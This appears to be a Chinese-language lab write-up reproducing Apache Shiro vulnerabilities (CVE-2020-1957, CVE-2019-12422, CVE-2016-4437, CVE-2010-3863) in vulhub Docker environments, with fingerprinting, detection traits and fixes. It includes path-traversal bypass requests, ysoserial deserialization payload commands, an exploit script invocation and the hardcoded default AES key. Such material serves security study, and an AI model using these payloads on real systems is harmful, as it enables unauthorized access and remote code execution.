前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro 框架直观、易用,同时也能提供健壮的安全性。

环境搭建采用 vulhub 项目的 Shiro 系列:https://github.com/vulhub/vulhub

指纹信息

登录返回的响应包中 set-Cookie 包含 rememberME=deleteMe 字段可判断该网站使用 Apache Shiro 框架。

当然该值只是默认值,研发是可以修改的。

CVE-2020-1957(认证绕过)

漏洞描述

在 Apache Shiro 1.5.2 以前的版本中,在使用 Spring 动态控制器时,攻击者通过构造..;这样的跳转,可以绕过 Shiro 中对目录的权限限制。利用 Shiro 和 Spring 对 URL 的处理的差异化,越权并成功访问。

漏洞原理

  • 客户端请求URL: /xxxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/.. 校验通过
  • Springboot 处理 /xxxx/..;/admin/index , 最终请求 /admin/index, 成功访问了后台请求.

影响版本

  • Apache Shiro < 1.5.2

环境搭建

1
2
cd vulhub/shiro/CVE-2020-1957 # 进入到目录
docker-compose up -d # 启动

由于我这里将端口修改为 9001,故而需要访问 9001。

这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
// 登录页面应允许匿名访问
chainDefinition.addPathDefinition("/login.html", "anon");
// 登录请求接口(POST 提交)也应该允许匿名
chainDefinition.addPathDefinition("/login", "anon");
// 登出接口
chainDefinition.addPathDefinition("/logout", "logout");
// 后台需要认证
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现

直接请求需要校验的接口 /admin/是会被重定向登录页面的。

构造恶意的请求:/xxx/..;/admin/

1
2
3
4
GET /xxx/..;/admin/ HTTP/1.1
Host: 120.48.128.24:9001
Connection: close

利用特征

请求路径中包含 ..;/这种字符;如 /xxx/..;/env

漏洞修复

  • 将 Shiro 升级至安全版本
  • 使用 waf 拦截路径 ..;

参考

CVE-2019-12422(721 反序列化)

漏洞描述

RememberMe 默认通过 AES-128-CBC 模式对 Cookie 进行加密,易受 Padding Oracle Attack(填充机预言攻击) 攻击。

影响版本

1
2
3
4
5
6
7
8
1.2.5,  
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

漏洞原理

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

Padding Oracle : 是一种通过对 DES、AES 等 block 加解密算法的 Padding 进行调控,根据解密过程是否正常,结合调控内容进行攻击,在无需知道 key 的前提下达成解密密文或加密明文的效果。

Padding : DES、AES 等 block cipher 加解密算法要求输入内容的长度为 block size 的整数倍。在加密过程中,若原始数据长度不符合该要求,则在其后添加 padding 部分以进行补足,在解密过程中,则在解密结果的末尾对 padding 部分进行移除。

环境搭建

环境下载链接:https://github.com/inspiringz/Shiro-721

1
2
3
4
5
6
7
8
# 下载项目
git clone https://github.com/inspiringz/Shiro-721.git
# 进入目录
cd Shiro-721/Docker/
# 构建环境
docker build -t shiro-721 .
# 启动环境
docker run -p 9001:8080 -d shiro-721

漏洞复现

使用上面提示的用户名和密码进行登录,勾选 Remember Me。

登录成功之后响应包返回带有加密的 Remember 并跳转到

请求首页的数据包:

工具下载:https://github.com/frohoff/ysoserial/ ysoserial 用于生成利用不安全的 Java 对象反序列化的有效载荷的概念验证工具。

查看工具的帮助:

1
2
3
java -jar ysoserial-all.jar # 查看帮助

java -jar ysoserial-all.jar [payload] '[command]'

生成恶意的序列化文件:

1
java -jar ysoserial-all.jar  CommonsBeanutils1 "touch /tmp/success" > poc.ser # 生成恶意的序列化文件

运行脚本:

1
2
3
# 命令格式 需要使用Python2版本
# python2 shiro_exp.py <url> <somecookie value> <payload>
python shiro_exp.py http://localhost:9001/ tRqLc3b37csDE5rHGMZ+jkVFrklHZzu0pMDFNBwu9G9QYKoNonz8LZGLnpJQ6xhRxjJhNZZhj9wAfm0z63UTuldZhpBqPFCCkYOdQCmRI/pD4FK0g5uELEE1IFefbVPi3e5I/o2LZC/F+4Woci8gkwxiJm2DiQqbQb6x0kFyMgR+szEPPZuUFbOMq/ySd4cuweXoajvDjmujrsm7eDIV2scH94CNJXm1VESKuSERhM3GisQ1CX+MQEQSxd2Tk4FgI4PIG4xR54D0WXfztUOR49HXnCAZHxrScZHS7HcEOpO0pfum/nc+PjcN8E9sj3LmzZtfHbx+kRx3Y3gO272XjZQZ9nrM2HM2kQv1I3eefUnGK9XyrRXzlbqEW6WWqh3tp8kVkoGrzhdbIs/HCsllnq+erBtF8fpeUAyJZmdLKOIx4dmS89c/SyoPS6SRhCBGk5xrevl0VV9ti8oH4J4zsmDCYL2NOLZQj6R4ILZgb2huAu8OdzFDwK7EMuJfE3ea ~/Desktop/poc.class

脚本大概跑了一个小时左右(线上环境可能需要更久),出现了构建好的 Cookie 值

漏洞修复

  • 将 Shiro 升级至安全版本

参考

CVE-2016-4437(550 反序列化)

漏洞描述

Apache Shiro 1.2.4 及以前版本中,加密的用户信息序列化后存储在名为 remember-me 的 Cookie 中。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。

影响版本

  • Apache Shiro <= 1.2.4

漏洞原理

Shiro 1.2.4 及之前版本使用的是硬编码,AES 加密的密钥默认在代码里面。其默认密钥的 base64 编码后的值为 KPH+blxk5D2deZilxcaaaA==,这里可以通过构造恶意的序列化对象进行编码,加密,然后作为 Cookie 加密发送,服务器收到解密后并触发反序列化漏洞。

环境搭建

1
2
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

访问 9001 端口:

漏洞复现

利用工具:https://github.com/SummerSec/ShiroAttack2

尝试执行 whoami 命令:

利用特征

检测框架

将自动化工具的流量代理到 Burpsuite 即可。

枚举 KEY

当密钥爆破成功时,响应包时没有 rememberMe=deleteMe的。

爆破利用链

当爆破利用链的时候 rememberMe 字段会有大量的 AES 加密数据:

当利用链爆破成功时,响应包时没有 rememberMe=deleteMe的,且响应体没有内容。

命令执行

尝试执行 whoami 命令

响应体以 $$$开头+中间为 base64 的命令执行结果 $$$结尾。

请求体可以使用蓝队分析工具箱进行解密 (需要知道 AES 加密的 KEY)。

也可以指定 key 进行解密,但没有研判结果:

漏洞修复

  • 将 Shiro 升级至安全版本或替换硬编码的密钥。

参考

CVE-2010-3863

年代比较久远,只做了解即可。

漏洞描述

在 Apache Shiro 1.1.0 以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造 ////.//../ 等绕过权限验证

漏洞版本

  • Apache Shiro < 1.1.0

漏洞原理

Shiro 进行权限验证前未进行路径标准化,导致使用时可能绕过权限校验。

环境搭建

1
2
cd vulhub/shiro/CVE-2010-3863 
docker-compose up -d

我这里修改了宿主机映射的端口为 9002:

漏洞复现

直接访问 /admin/接口则会重定向到登录页面。

构造恶意的请求 /./admin

漏洞修复

  • ////.//../等进行了处理。
  • 将 Shiro 升级至安全版本

参考